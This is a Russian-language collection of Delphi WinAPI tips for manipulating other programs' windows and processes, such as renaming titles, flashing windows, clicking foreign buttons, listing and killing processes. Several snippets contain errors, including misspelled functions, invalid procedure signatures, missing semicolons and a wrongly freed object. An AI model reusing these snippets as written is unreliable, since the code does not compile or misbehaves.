Возвращаемое значение: В случае успешного завеpшения - не нуль; в пpотивном случае - 0.

Заметьте, что это функция только рисует элемент заголовка.

14 Отрисовка «фальшивой» кнопки закрыть в заголовке окна.

Procedure DrawFalseClose (Wd:HWND; xPos:Integer);
Var DC:HDC;
begin
 DC:=GetWindowDC(Wd); // Получим контекст устройства окна
If DC>0 then
 Begin
   DrawFrameControl (DC,Rect(xPos,4,xPos+16,020),DFC_Caption,DFCS_CaptionClose);
   ReleaseDC(Wd,DC); // Освободим контекст устройства.
End;
end;


Некоторые дополнительные возможности

С приложениями (и окнами верхнего уровня в частности) можно делать огромное количество вещей. Если быть честным,
то останавливаться подробно на этих возможностях я не собирался. Но оказалось, что решение этих задач интересует
достаточно многих. В этом раз деле попробуем привести некоторые, на мой взгляд, наиболее полезные из них.

Самым простым, и наиболее часто используемой является возможность изменять заголовок чужих окон. И действительно,
почему в заголовке Дельфы пишется например Delphi ? J Непорядок !

Пpоцедуpа SetWindowText

Синтаксис:

procedure SetWindowText(Wnd: HWnd; Str: PChar);


Описание: Устанавливает название заголовка для окна или текст оpгана упpавления с помощью стpоки, указанной в Str.
Wnd: Идентификатоp окна или оpгана упpавления.
Str: Стpока (заканчивающаяся пустым символом).
Возвращаемое значение:Нет.

И текст, который иллюстрирует работу данной функции, например, находит окно Дельфы и меняет ее заголовок с
«Delphi» на любой другой

Замена текста в заголовке окна.

// Передаем новое название например Дельфи
Procedure ChangeDelphi (NewName:String);
Var Wd:HWND;
       Nm:Array[0..255] of Char
       St : String;
       I:Integer;
Begin
  Wd:= FindWindow('TAppBuilder',Nil); // Находим заголовок по классу окна Delphi
 If Wd<=0 then Exit; // Такого окна нет.
GetWindowText(Wd,Nm,255); // Считываем заголовок окна
St:=String(Nm);      // Переводим в строку
I:=Pos('Delphi',St); // Находим положения заголовка
If I>0 then // Если слово Дельфи есть в заголовке
 Begin
  Delete(St,i,Lenght('Delphi'); // Удаляем
  Insert(NewName,St,i); // Вставляем
 SetWindowText(Wd,Pchar(St)); // Отправляем новый заголовок окну.
 End; // Все
end;


Зачастую необходимо выяснить, не зависло ли окно (или вернее насколько живо оно откликается на попытки
системы достучаться до него) Для этих целей можно использовать следующий текст

16 Определение не является ли данное окно зависшим.

// Результат True- рабочее окно, False - возможно окно висит
function WinTimeOut (Wd:HWND;Time:Integer):Boolean; //Описатель окна и время в секундах
Var dwRes:DWORD
begin
 Time:=Time*1000; // Переводим время в миллисекунды
 Result:=Not SendMessageTimeOut(WD,WM_USER,0,0,SMTO_NORMAL, Time, @dwRes);
end;


Теперь поговорим о, так называемом, подсвечивание окон. Например, при установке точки останова в программе
главное окно начинает мерцать. И делает это до тех пор, пока пользователь не переключится в это окно. Как это делается ???

Существует пара функций:

Пpоцедуpа FlashWindow

Синтаксис:

function FlashWindow(Wnd: HWnd; Invert: Bool): Bool;


Описание: Делает окно или пиктогpамму мигающими. Активное состояние откpытого окна инвеpтиpуется.
Wnd: Идентификатоp окна или оpгана упpавления.
Invert: Не нуль, если мигание, 0 - для возвpата к исходному состоянию (для пиктогpамм игноpиpуется).
Возвращаемое значение: Не нуль, если окно до вызова было активным; 0 - в пpотивном случае.

И вторая функция, которая описана для Delphi 5 а для 3 нет, что обидно, но мы это исправим.

Пpоцедуpа FlashWindowEx

Синтаксис:

function FlashWindowEx(var pfwi: FLASHWINFO): BOOL;


Описание: Делает окно или пиктогpамму мигающими. Активное состояние откpытого окна инвеpтиpуется.

FLASHWINFO = record
cbSize: UINT;     // Размер структуры в байтах
hwnd: HWND;       // Идентификатоp окна или оpгана упpавления.
dwFlags: DWORD;   // один из следующих флагов:
    FLASHW_STOP = $0;      // Не мигать
    FLASHW_CAPTION = $1;   // Мигающий заголовок
    FLASHW_TRAY = $2;      // Мигающая кнопка
    FLASHW_ALL = FLASHW_CAPTION or FLASHW_TRAY; // Мигать
    FLASHW_TIMER = $4;     // Мигать пока не будет запущен СТОП
    FLASHW_TIMERNOFG = $C; // Мигать пока не станет верхним
uCount: UINT;     // Сколько раз мигать
dwTimeout: DWORD; // Интервал мигания
end;


Возвращаемое значение: Не нуль, если окно до вызова было активным; 0 - в пpотивном случае.
Сначала опишем функцию для несчастных, которые как и я ютятся в 3 версии.
Куда Вы все это вставите Ваши сложности можно в отдельный модуль можно в тот же что и программа. Если будете
делать отдельный модуль, это будет выглядеть приблизительно так:

interface
Const
  FLASHW_STOP = $0;
  FLASHW_CAPTION = $1;
  FLASHW_TRAY = $2;
  FLASHW_ALL = FLASHW_CAPTION or FLASHW_TRAY;
  FLASHW_TIMER = $4;
  FLASHW_TIMERNOFG = $C;
type
  FLASHWINFO = record
    cbSize: UINT;
    hwnd: HWND;
    dwFlags: DWORD;
    uCount: UINT;
    dwTimeout: DWORD;
  end;
  PFLASHWINFO = ^FLASHWINFO;
  TFlashWInfo = FLASHWINFO;

function FlashWindowEx(var pfwi: FLASHWINFO): BOOL; stdcall;
implementation
function FlashWindowEx; external user32 name 'FlashWindowEx';
end;


А теперь сама программа, не забудьте подключить модуль кому нужно:

17 Мигающий заголовок окна

// Результат True- рабочее окно, False - возможно окно висит
procedure SetOnFlash (Wd:HWND;):Boolean; //Описатель окна
Var f: TFlashWInfo;
Begin
 f.Hwnd:=Wd;
 f.dwFlags:= FLASHW_ALL;
 f.dwTimeout:=10;
 f.uCount:=100;
 f.cbSize:=SizeOf(F);
 FlashWindowEx(F)
end;



Итоги

Итак, мы научились управлять чужими окнами верхнего уровня:

1. Изменять их положение, размеры
2. Закрывать, сворачивать и восстанавливать
К заголовку




" Нажать на кнопку в другом приложении
function EnumChildProc(Wnd: hWnd; SL: TStrings): BOOL; stdcall;
var
  szFull: array[0..MAX_PATH] of Char; //Buffer for window caption
begin
  Result := Wnd <> 0;
  if Result then
  begin
    GetWindowText(Wnd, szFull, SizeOf(szFull)); // put window text in buffer
    if (Pos(SL[0], StrPas(szFull)) > 0) // Test for text
      and (SL.IndexOfObject(TObject(Wnd)) < 0) // Test for duplicate handles
      then SL.AddObject(StrPas(szFull), TObject(Wnd)); // Add item to list
    EnumChildWindows(Wnd, @EnumChildProc, Longint(SL)); //Recurse into child windows
  end;
end;

function ClickButton(ParentWindow: Hwnd; ButtonCaption: string): Boolean;
var
  SL: TStringList;
  H:  hWnd;
begin
  SL := TStringList.Create;
  try
    SL.AddObject(ButtonCaption, nil); // First item in list is text to find
    EnumChildWindows(ParentWindow, @EnumChildProc, Longint(SL));
    H := 0;
    case SL.Count of
      1: ShowMessage('Window text not found.');
      2: H := hWnd(SL.Objects[1]);
      else
        ShowMessage('Ambiguous text detected.');
    end;
  finally
    SL.Free;
  end;
  Result := H <> 0;
  if Result then PostMessage(H, BM_CLICK, 0, 0);
end;

// Rememeber the ampresand for underlined characters
// if the 'c' is underlined, then the text is '&click'
К заголовку




" Определение окончания работы другого приложения
WinExec сразу после запуска приложения возвращает его дескриптор. Для определения завершения программы вы должны
вызывать функцию GetModuleUsage(InstanceID), где InstanceID - дескриптор запущенного функцией WinExec приложения.
Если возвращаемый результат содержит ноль, приложение завершило свою работу. Сделайте проверку в таймерном цикле
и задача решена.
К заголовку




" Отключить кнопку закрытия чужого окна
Для примера, запустите "Блокнот" и попробуем его кнопку закрытия окна сделать неактивной, кроме того пункт
"закрыть" в системном меню тоже будет отключён! ;-]


procedure TForm1.Button1Click(Sender: TObject);
var
  hwndHandle: THANDLE;
  hMenuHandle: HMENU;
begin
  hwndHandle := FindWindow(nil, 'Untitled - Notepad');
  if (hwndHandle <> 0) then
  begin
    hMenuHandle := GetSystemMenu(hwndHandle, FALSE);
    if (hMenuHandle <> 0) then
      DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND);
  end;
end;


Вместо "Untitled - Notepad", нужно подставить заголовок того окна, которому вы хотите послать сообщение.

Но это окно можно закрыть из TaskBar'а.
--------------------------------------------------


procedure TForm1.FormCreate(Sender: TObject);
var
  Style: Longint;
begin
  Style := GetWindowLong(Handle, GWL_STYLE);
  SetWindowLong(Handle, GWL_STYLE, Style and not WS_SYSMENU);
end;

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift:
  TShiftState);
begin
  if (Key = VK_F4) and (ssAlt in Shift) then
  begin
    MessageBeep(0);
    Key := 0;
  end;
end;

{ Disable close button }

procedure TForm1.Button1Click(Sender: TObject);
var
  SysMenu: HMenu;
begin
  SysMenu := GetSystemMenu(Handle, False);
  Windows.EnableMenuItem(SysMenu, SC_CLOSE, MF_DISABLED or MF_GRAYED);
end;

{ Enable close button }

procedure TForm1.Button2Click(Sender: TObject);
begin
  GetSystemMenu(Handle, True);
  Perform(WM_NCPAINT, Handle, 0);
end;


Но это окно можно закрыть из TaskBar'а.
К заголовку




" Открыть документ и дождаться завершения работы с ним
  Открыть документ и дождаться завершения работы с ним

Оформил: DeeCo
Автор: http://www.swissdelphicenter.ch

{
  This tip allows you to open any document with its
  associated application (not only exe, com) and wait for it to finish.
}


 {
  Dieser Tip ermцglicht es, nicht nur normale Programme, sondern auch Dateien,
  die mit Programmen geцffnet werden, auszufьhren und darauf zu warten,
  bis sie beendet sind.
}

 uses
   Shellapi;

 function StartAssociatedExe(FileName: string; var ErrorCode: Cardinal): Boolean;
 var
   Prg: string;
   ProcessInfo: TProcessInformation;
   StartupInfo: TStartupInfo;
 begin
   SetLength(Prg, MAX_PATH);
   Result := False;
   ErrorCode := FindExecutable(PChar(FileName), nil, PChar(Prg));
   if ErrorCode >= 32 then
   begin
     SetLength(Prg, StrLen(PChar(Prg)));
     FillChar(StartupInfo, SizeOf(TStartupInfo), 0);
     with StartupInfo do
     begin
       cb := SizeOf(TStartupInfo);
       wShowWindow := SW_SHOW;
     end;
     if CreateProcess(PChar(Prg), PChar(Format('%s %s', [Prg, FileName])),
       nil, nil, False, NORMAL_PRIORITY_CLASS, nil, nil, StartupInfo, ProcessInfo) then
     begin
       WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
       GetExitCodeProcess(ProcessInfo.hProcess, ErrorCode);
       CloseHandle(ProcessInfo.hProcess);
       CloseHandle(ProcessInfo.hThread);
       Result := True;
     end
     else
       ErrorCode := GetLastError;
   end;
 end;

 // Example, Beispiel:

procedure TForm1.Button1Click(Sender: TObject);
 var
   ErrorCode: Cardinal;
 begin
   StartAssociatedExe('c:\test.doc', ErrorCode);
 end;


К заголовку




" Получаем заголовок чужого компонента, который под мышью
procedure TForm1.Timer1Timer(Sender: TObject);
var
 s: string;
 h: HWND;
begin
 h := WindowFromPoint(Mouse.CursorPos);
 SetLength(s, SendMessage(h, WM_GETTEXTLENGTH, 0, 0)+1);
 SendMessage(h, WM_GETTEXT, length(s), Integer(PChar(s)));
 SetLength(s, lStrLen(PChar(s)));
 Label1.Caption := s;
end;


Некрасиво то, что вся эта ерунда висит на таймере...
К заголовку




" Получить дескриптор окна другого приложения и сделать его активным
Использование фуекции Windows API FindWindow() - простейший способ нахождение окна, при условии, что известен его
заголовок или имя оконного класса. Если Вам известна только часть заголовка окна (например 'Netscape - ' + 'какой-то
неизвестный URL'), Ва м нужно использовать функцию EnumWindows() для получения всех окон, затем вызывать функцию
GetWindowsText() и GetClassName для поиска нужного окна. Следующий пример находит первое окно, содержащее совпадающую
часть заголовка окна и полностью совпадающее название оконного класса (если он задан) и делает это окно активным.

type
  PFindWindowStruct = ^TFindWindowStruct;
  TFindWindowStruct = record
  Caption : string;
  ClassName : string;
  WindowHandle : THandle;
end;

function EnumWindowsProc(hWindow : hWnd; lParam : LongInt) : Bool {$IFDEF Win32} stdcall; {$ELSE} ; export; {$ENDIF}
var
  lpBuffer: PChar;
  WindowCaptionFound: bool;
  ClassNameFound: bool;
begin
  GetMem(lpBuffer, 255);
  Result := True;
  WindowCaptionFound := False;
  ClassNameFound := False;

  try
    if GetWindowText(hWindow, lpBuffer, 255) > 0 then
      if Pos(PFindWindowStruct(lParam).Caption, StrPas(lpBuffer)) > 0 then
        WindowCaptionFound := true;

    if PFindWindowStruct(lParam).ClassName = '' then
      ClassNameFound := True
    else
    if GetClassName(hWindow, lpBuffer, 255) > 0 then
      if Pos(PFindWindowStruct(lParam).ClassName, StrPas(lpBuffer)) > 0 then
        ClassNameFound := True;

    if (WindowCaptionFound and ClassNameFound) then
    begin
      PFindWindowStruct(lParam).WindowHandle := hWindow;
      Result := False;
    end;

  finally
    FreeMem(lpBuffer, sizeof(lpBuffer^));
  end;
end;

function FindAWindow(Caption : string; ClassName : string) : THandle;
var
  WindowInfo : TFindWindowStruct;
begin
  with WindowInfo do begin
    Caption := Caption;
    ClassName := ClassName;
    WindowHandle := 0;
    EnumWindows(@EnumWindowsProc, LongInt(@WindowInfo));
    FindAWindow := WindowHandle;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  TheWindowHandle : THandle;
begin
  TheWindowHandle := FindAWindow('Netscape - ', '');
  if TheWindowHandle = 0 then
    ShowMessage('Window Not Found!')
  else
    BringWindowToTop(TheWindowHandle);
end;


К заголовку




" Получить приложение, ассоциированное с указанным расширением файлов
{
  FindExecutable returns the name and handle to the executable
  (.EXE) file associated with a specified file type (.BMP)
}

 {
  Wenn du z.B eine BMP-Datei anklickst, wird die
  dazugehorige Anwendung MSPAINT.EXE mit der Datei als
  Parameter ausgefuhrt. In diesem Beispiel wird
  herausgefunden, welche Anwendung (hier MSPAINT.EXE)
  mit dem jeweiligen Datei Typ verknupft ist.
}


 function ShellFindExecutable(const FileName, DefaultDir: string): string;
 var
   Res: HINST;
   Buffer: array[0..MAX_PATH] of Char;
   P: PChar;
 begin
   FillChar(Buffer, SizeOf(Buffer), #0);
   if DefaultDir = '' then P := nil
    else
      P := PChar(DefaultDir);
   Res := FindExecutable(PChar(FileName), P, Buffer);
   if Res > 32 then
   begin
     P := Buffer;
     while PWord(P)^ <> 0 do
     begin
       if P^ = #0 then // FindExecutable replaces #32 with #0
        P^ := ' ';
       Inc(P);
     end;
     Result := Buffer;
   end
    else
     Result := '';
 end;

 // Example, Beispiel:

procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShellFindExecutable('1stboot.bmp', 'c:\windows');
 end;
К заголовку




" Получить список запущенных приложений, проверить запущена ли программа
uses
  Psapi, tlhelp32;

procedure CreateWin9xProcessList(List: TstringList);
var
  hSnapShot: THandle;
  ProcInfo: TProcessEntry32;
begin
  if List = nil then Exit;
  hSnapShot := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (hSnapShot <> THandle(-1)) then
  begin
    ProcInfo.dwSize := SizeOf(ProcInfo);
    if (Process32First(hSnapshot, ProcInfo)) then
    begin
      List.Add(ProcInfo.szExeFile);
      while (Process32Next(hSnapShot, ProcInfo)) do
        List.Add(ProcInfo.szExeFile);
    end;
    CloseHandle(hSnapShot);
  end;
end;

procedure CreateWinNTProcessList(List: TstringList);
var
  PIDArray: array [0..1023] of DWORD;
  cb: DWORD;
  I: Integer;
  ProcCount: Integer;
  hMod: HMODULE;
  hProcess: THandle;
  ModuleName: array [0..300] of Char;
begin
  if List = nil then Exit;
  EnumProcesses(@PIDArray, SizeOf(PIDArray), cb);
  ProcCount := cb div SizeOf(DWORD);
  for I := 0 to ProcCount - 1 do
  begin
    hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or
      PROCESS_VM_READ,
      False,
      PIDArray[I]);
    if (hProcess <> 0) then
    begin
      EnumProcessModules(hProcess, @hMod, SizeOf(hMod), cb);
      GetModuleFilenameEx(hProcess, hMod, ModuleName, SizeOf(ModuleName));
      List.Add(ModuleName);
      CloseHandle(hProcess);
    end;
  end;
end;

procedure GetProcessList(var List: TstringList);
var
  ovi: TOSVersionInfo;
begin
  if List = nil then Exit;
  ovi.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  GetVersionEx(ovi);
  case ovi.dwPlatformId of
    VER_PLATFORM_WIN32_WINDOWS: CreateWin9xProcessList(List);
    VER_PLATFORM_WIN32_NT: CreateWinNTProcessList(List);
  end
end;

function EXE_Running(FileName: string; bFullpath: Boolean): Boolean;
var
  i: Integer;
  MyProcList: TstringList;
begin
  MyProcList := TStringList.Create;
  try
    GetProcessList(MyProcList);
    Result := False;
    if MyProcList = nil then Exit;
    for i := 0 to MyProcList.Count - 1 do
    begin
      if not bFullpath then
      begin
        if CompareText(ExtractFileName(MyProcList.Strings[i]), FileName) = 0 then
          Result := True
      end
      else if CompareText(MyProcList.strings[i], FileName) = 0 then Result := True;
      if Result then Break;
    end;
  finally
    MyProcList.Free;
  end;
end;


// Example 1: Is a Exe-File running ?
procedure TForm1.Button1Click(Sender: TObject);
begin
  if EXE_Running('Notepad.exe', False) then
    ShowMessage('EXE is running')
  else
    ShowMessage('EXE is not running');
end;


// Example 2: List running Exe-Files
procedure TForm1.Button3Click(Sender: TObject);
var
  i: Integer;
  MyProcList: TstringList;
begin
  MyProcList := TStringList.Create;
  try
    GetProcessList(MyProcList);
    if MyProcList = nil then Exit;
    for i := 0 to MyProcList.Count - 1 do
      ListBox1.Items.Add(MyProcList.Strings[i]);
  finally
    MyProcList.Free;
  end;
end;
К заголовку




" Посылка сообщения всем формам - BroadCast
var
  I: Integer;
  M: TMessage;
  ...
  with M do begin
    Message := ...
  ...
end;
  PostMessage( Forms[I].Handle, ... );
  // Если надо и всем чилдам
  Forms[I].Broadcast( M );
end

К заголовку




" Проверить, установлен ли Word
uses
  Registry;

function IsWordInstalled: Boolean;
var
  Reg: TRegistry;
  s: string;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_CLASSES_ROOT;
    Result := Reg.KeyExists('Word.Application');
  finally
    Free;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if IsWordInstalled then
    ShowMessage('MS Word is installed.');
end;


К заголовку




" Работа с другим приложением без Hook и DLL на примере GetFocus
На стандартной форме (Form1):

Form1.FormStyle=fsStayOnTop - форма поверх остальных окон

Объекты:

   1. ТАЙМЕР (Timer1) с периодом 1000 или меньше,
   2. 3 метки (Label1, Label2, Label3). назначение их см. в тексте процедуры
   3. У таймера событие OnTimer. а вот для нее обработчик:


procedure TForm1.Timer1Timer(Sender: TObject);
var
  dwTargetOwner: DWORD; //указатель на подключаемый процесс
  dwThreadID: DWORD; //указатель на текущий процесс
  Result: longbool;
begin
  {В первой метке отображается Handle активного окна}
  Label1.Caption := IntToStr(GetForegroundWindow);
    //указатель на подключаемое приложение

  // Подключение потока другого окна
  // Указатель на подключаемый процесс
  dwTargetOwner := GetWindowThreadProcessId(GetForegroundWindow, nil);
  dwThreadID := GetCurrentThreadId(); //указатель на текущий процесс
  if (dwTargetOwner <> dwThreadID) then // если не один и тот же процесс
    Result := AttachThreadInput(dwThreadID, dwTargetOwner, TRUE); //подключение

  {Во второй метке отображается Handle объекта 'в фокусе' в активном окне}
  Label2.Caption := IntToStr(GetFocus); //фокус в другом приложении

  if (Result) then
    AttachThreadInput(dwThreadID, dwTargetOwner, FALSE); //отключение

  {В третей метке отображается Handle объекта 'в фокусе' в активном окне,
  но если это окно другого приложения, то Handle будет равен нулю,
  т.к. попытка получения Handle происходит после отключения потока}
  Label3.Caption := inttostr(GetFocus); //проверка после отключения

  {Эффект можно посмотреть, если запустить полученное приложение
  и сделать активным другое приложение}
  {Ясно, что полученный Handle объекта можно использовать
  по своему разумению. Например, считать из объекта текст и т.п.}

  // (C) SottNick 2000
end;


К заголовку




" Сворачивание всех окон
function MyCallback(Wnd: THandle;Param: integer): boolean; stdcall;
var
  style: longint;
  tsb, rabst: integer;
begin
  tsb:=FindWindow('Shell_TrayWnd', nil);
  rabst:=FindWindow('ProgMan', 'Program Manager');
  Result := Wnd <> 0;
  style:=GetWindowLong(wnd,GWL_EXSTYLE);
  style:=style and WS_EX_TOPMOST;
  if Result and IsWindowVisible(Wnd)and (not IsIconic(WND)) and (wnd<>tsb) and
  (wnd<>rabst) and (wnd<>FindWindow('Indicator',nil)) and
  (style<>WS_EX_TOPMOST)and(wnd<>form1.handle)then
  begin
    ShowWindow(Wnd,sw_hide);
    ShowWindow(Wnd,Param);
  end;
end;


procedure ShowAllWindows(Cmd: integer);
begin
  EnumWindows(@MyCallback,Cmd);
end;


теперь в любом месте программы, когда необходимо свернуть окна вызываем функцию:

ShowAllWindows(SW_SHOWMINIMIZED);

К заголовку




" Связь между приложениями
{
You can perform communication between your application using Windows messages
exchange mechanism. We can use HWND_BROADCAST value for first parameter for
SendMessage function for suppressing finding of forms' in other applications HANDLE.
For using HWND_BROADCAST we should register our messages in Windows.
In example below we will inform about our form's top position)

Das Beispiel zeigt, wie zwischen zwei Applikationen eine Meldung (Message)
verschickt werden kann. Die Meldung mit wird mit SendMessage verschickt.
Der erst Parameter ist HWND_BROADCAST, beim zweite ist unsere Message.
Das untenstehende Beispiel informiert z.B uber die Top-Position unserer Form}


 // 1. Define type of your message structure, it could be something like this:
// 1. Definiere eine eigene Message Struktur:


type
   TWMMYMessage = record
     Msg: Cardinal;   // ( first is the message ID )
    Handle: HWND;    // ( this is the wParam, Handle of sender)
    Info: Longint;   // ( this is lParam, pointer to our data)
    Result: Longint;
   end;

   // 2. Override your form''s DefaultHandler method and add
  //    method for handling your message, like this
  // 2. Die DefaultHandler Methode zu uberschreiben

  TForm1 = class(TForm)
     ...public
     { Public declarations }
     ...procedure DefaultHandler(var Message); override;
     procedure WMMYMessage(var Msg: TWMMYMessage);
     ...end;


   // 3. Declare message variable:
  // 3. Die Message-Variablen deklarieren:

var
   WM_OURMESSAGE: DWORD;

   // 4. Insert realisation of DefaultHandler and our message handler methods:
  // 4. DefaultHandler Implementation:

procedure TForm1.DefaultHandler(var Message);
 var
   ee: TWMMYMessage;
 begin
   with TMessage(Message) do
   begin
     if (Msg = WM_OURMESSAGE) then
      begin
       ee.Msg    := Msg;
       ee.Handle := wParam;
       ee.Info   := lParam;
       // Checking if this message is not from us
      if ee.Handle <> Handle then
         WMMYMessage(ee);
     end
     else
       inherited DefaultHandler(Message);
   end;
 end;

 procedure TForm1.WMMYMessage(var Msg: TWMMYMessage);
 begin
   label1.Caption := Format('Our another form handle :%d', [Msg.Handle]);
   Label2.Caption := Format('Our another form top :%d', [Msg.Info]);
 end;

 // 5. Add registration of your message that you could
//    handle the HWND_BROADCAST messages:
// 5. Die Message registrieren.

initialization
   WM_OURMESSAGE := RegisterWindowMessage('Our broadcast message');

   // 6. Add the message sending somewhere:

procedure TForm1.Button1Click(Sender: TObject);
 begin
   SendMessage(HWND_BROADCAST, WM_OURMESSAGE, Handle, Top);
 end;
К заголовку




" Список окон с кнопкой на панели задач
function GetText(Wnd: HWND): string;
 var
    textlength: Integer;
   Text: PChar;
 begin
   textlength := SendMessage(Wnd, WM_GETTEXTLENGTH, 0, 0);
   if textlength = 0 then Result := ''
   else
   begin
     GetMem(Text, textlength + 1);
     SendMessage(Wnd, WM_GETTEXT, textlength + 1, Integer(Text));
     Result := Text;
     FreeMem(Text);
   end;
 end;

 function EnumWindowsProc(Wnd: HWND; lParam: lParam): BOOL; stdcall;
 begin
   Result := True;
   if (IsWindowVisible(Wnd) or IsIconic(wnd)) and
     ((GetWindowLong(Wnd, GWL_HWNDPARENT) = 0) or
     (GetWindowLong(Wnd, GWL_HWNDPARENT) = GetDesktopWindow)) and
     (GetWindowLong(Wnd, GWL_EXSTYLE) and WS_EX_TOOLWINDOW = 0) then
     Form1.Listbox1.Items.Add('Handle: ' + IntToStr(Wnd) + ',Text:  ' + GetText(Wnd));
 end;


 procedure TForm1.Button1Click(Sender: TObject);
 var
   Param: Longint;
 begin
   EnumWindows(@EnumWindowsProc, Param);
 end;
К заголовку




" Требуется нажать в другом приложении пару кнопок
Требуется нажать в "другом" приложении пару кнопок (button). (кнопки не имеют hotkeys). Ищу окно так (Дельфи):

if FindWindow(nil, 'Advanced Dialer')<> 0 then
  ShowMessage('OK');


А теперь в найденном приложении надо нажать кнопку HangUp, подождать 5 сек. и нажать кнопку Dial. Подскажите плз. как
это реализовать. Я не знаю, что там за кнопки... Если класс Button, то один вариант, если это конпки на тулбаре, то
другой. Вот посмотри, я писал когда-то, лишнее стирать лень... реализуется 1-й и 2-й способ:

function PressAbortAndReloadBtn: string;
var
  MenuHnd: THandle;
  //описатель меню
  ItemUint: UINT;
  //идентификатор пункта меню
  BtnHnd: THandle;
begin
  result := PRX_UNKNOWN_ERR;
  GetProcList;
  if Prx_MainWHnd <> 0 then
  begin
    BtnHnd := FindWindowEx(Prx_MainWHnd, 0, nil, PChar(PrxABtnName));
    SendMessage(BtnHnd, BM_CLICK, 0, 0);
    Sleep(100);
    MenuHnd := GetMenu(Prx_MainWHnd);
    if Menuhnd <> 0 then
    begin
      ItemUint := GetMenuItemID(Menuhnd, 4);
      if ItemUint <> 0 then
      begin
        SendMessage(Prx_MainWHnd, WM_COMMAND, ItemUint, 0);
        result := PRX_OK;
      end
      else
        result := PRX_ITEM_NOT_FOUND;
    end
    else
      result := PRX_MENU_NOT_FOUND;
  end
  else
    result := PRX_NOT_FOUND;
  if result <> PRX_OK then
    WriteLog(result);
end;

// У себя делал так

procedure ClickOnForm(wnd: HWND; caption: string);
var
  TheChildHandle: HWND;
begin
  TheChildHandle := FindWindowEx(wnd, 0, nil, PChar(caption));
  SendMessage(TheChildHandle, WM_LButtonDown, 1, 1);
  SendMessage(TheChildHandle, WM_LButtonUP, 1, 1);
end;

procedure TForm1.Button4Click(Sender: TObject);
var
  wnd: HWND;
  caption: string;
begin
  wnd := GetTopWindow(0);
  repeat
    SetLength(caption, GetWindowtextLength(wnd));
    GetWindowText(wnd, @caption[1], length(caption) + 1);

    if (trim(caption) = 'Form caption') then
      ClickOnForm(wnd, 'Button name');
    wnd := GetNextWindow(wnd, GW_HWNDNEXT);
  until wnd = 0;
end;

К заголовку




" Убедиться, что приложение (окно) не отвечает
// The Documented way

{
  An application can check if a window is responding to messages by
  sending the WM_NULL message with the SendMessageTimeout function.

  Um zu uberprufen, ob ein anderes Fenster (Anwendung) noch reagiert,
  kann man ihr mit der SendMessageTimeout() API eine WM_NULL Nachricht schicken.
}

 function AppIsResponding(ClassName: string): Boolean;
 const
   { Specifies the duration, in milliseconds, of the time-out period }
   TIMEOUT = 50;
 var
   Res: DWORD;
   h: HWND;
 begin
   h := FindWindow(PChar(ClassName), nil);
   if h <> 0 then
     Result := SendMessageTimeOut(H,
       WM_NULL,
       0,
       0,
       SMTO_NORMAL or SMTO_ABORTIFHUNG,
       TIMEOUT,
       Res) <> 0
   else
     ShowMessage(Format('%s not found!', [ClassName]));
 end;

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   if AppIsResponding('OpusApp') then
     { OpusApp is the Class Name of WINWORD }
     ShowMessage('App. responding');
 end;
 -------------------------------------------------


 // The Undocumented way

{
  // Translated form C to Delphi by Thomas Stutz
  // Original Code:
  // (c)1999 Ashot Oganesyan K, SmartLine, Inc
  // mailto:ashot@aha.ru, http://www.protect-me.com, http://www.codepile.com

 The code doesn't use the Win32 API SendMessageTimout function to
 determine if the target application is responding but calls
 undocumented functions from the User32.dll.

 --> For NT/2000/XP the IsHungAppWindow() API:

 The function IsHungAppWindow retrieves the status (running or not responding)
 of the specified application

 IsHungAppWindow(Wnd: HWND): // handle to main app's window
 BOOL;

 --> For Windows 95/98/ME we call the IsHungThread() API

 The function IsHungThread retrieves the status (running or not responding) of
 the specified thread

 IsHungThread(DWORD dwThreadId): // The thread's identifier of the main app's window
 BOOL;

 Unfortunately, Microsoft doesn't provide us with the exports symbols in the
 User32.lib for these functions, so we should load them dynamically using the
 GetModuleHandle and GetProcAddress functions:
}

 // For Win9X/ME
function IsAppRespondig9X(dwThreadId: DWORD): Boolean;
 type
   TIsHungThread = function(dwThreadId: DWORD): BOOL; stdcall;
 var
   hUser32: THandle;
   IsHungThread: TIsHungThread;
 begin
   Result := True;
   hUser32 := GetModuleHandle('user32.dll');
   if (hUser32 > 0) then
   begin
     @IsHungThread := GetProcAddress(hUser32, 'IsHungThread');
     if Assigned(IsHungThread) then
     begin
       Result := not IsHungThread(dwThreadId);
     end;
   end;
 end;

 // For Win NT/2000/XP
function IsAppRespondigNT(wnd: HWND): Boolean;
 type
   TIsHungAppWindow = function(wnd:hWnd): BOOL; stdcall;
 var
   hUser32: THandle;
   IsHungAppWindow: TIsHungAppWindow;
 begin
   Result := True;
   hUser32 := GetModuleHandle('user32.dll');
   if (hUser32 > 0) then
   begin
     @IsHungAppWindow := GetProcAddress(hUser32, 'IsHungAppWindow');
     if Assigned(IsHungAppWindow) then
     begin
       Result := not IsHungAppWindow(wnd);
     end;
   end;
 end;

 function IsAppRespondig(Wnd: HWND): Boolean;
 begin
  if not IsWindow(Wnd) then
  begin
    ShowMessage('Incorrect window handle!');
    Exit;
  end;
  if Win32Platform = VER_PLATFORM_WIN32_NT then
    Result := IsAppRespondigNT(wnd)
  else
    Result := IsAppRespondig9X(GetWindowThreadProcessId(Wnd,nil));
 end;

 // Example: Check if Word is hung/responding

procedure TForm1.Button3Click(Sender: TObject);
 var
   Res: DWORD;
   h: HWND;
 begin
   // Find Winword by classname
  h := FindWindow(PChar('OpusApp'), nil);
   if h <> 0 then
   begin
     if IsAppRespondig(h) then
       ShowMessage('Word is responding!')
     else
       ShowMessage('Word is not responding!');
   end
   else
     ShowMessage('Word is not open!');
 end;
К заголовку




" Убиваем активное приложение
procedure KillProgram(Classname: string; WindowTitle: string);
const
  PROCESS_TERMINATE = $0001;
var
  ProcessHandle : THandle;
  ProcessID: Integer;
  TheWindow : HWND;
begin
  TheWindow := FindWindow(Classname, WindowTitle);
  GetWindowThreadProcessID(TheWindow, @ProcessID);
  ProcessHandle := OpenProcess(PROCESS_TERMINATE, FALSE, ProcessId);
  TerminateProcess(ProcessHandle,4);
end;


К заголовку




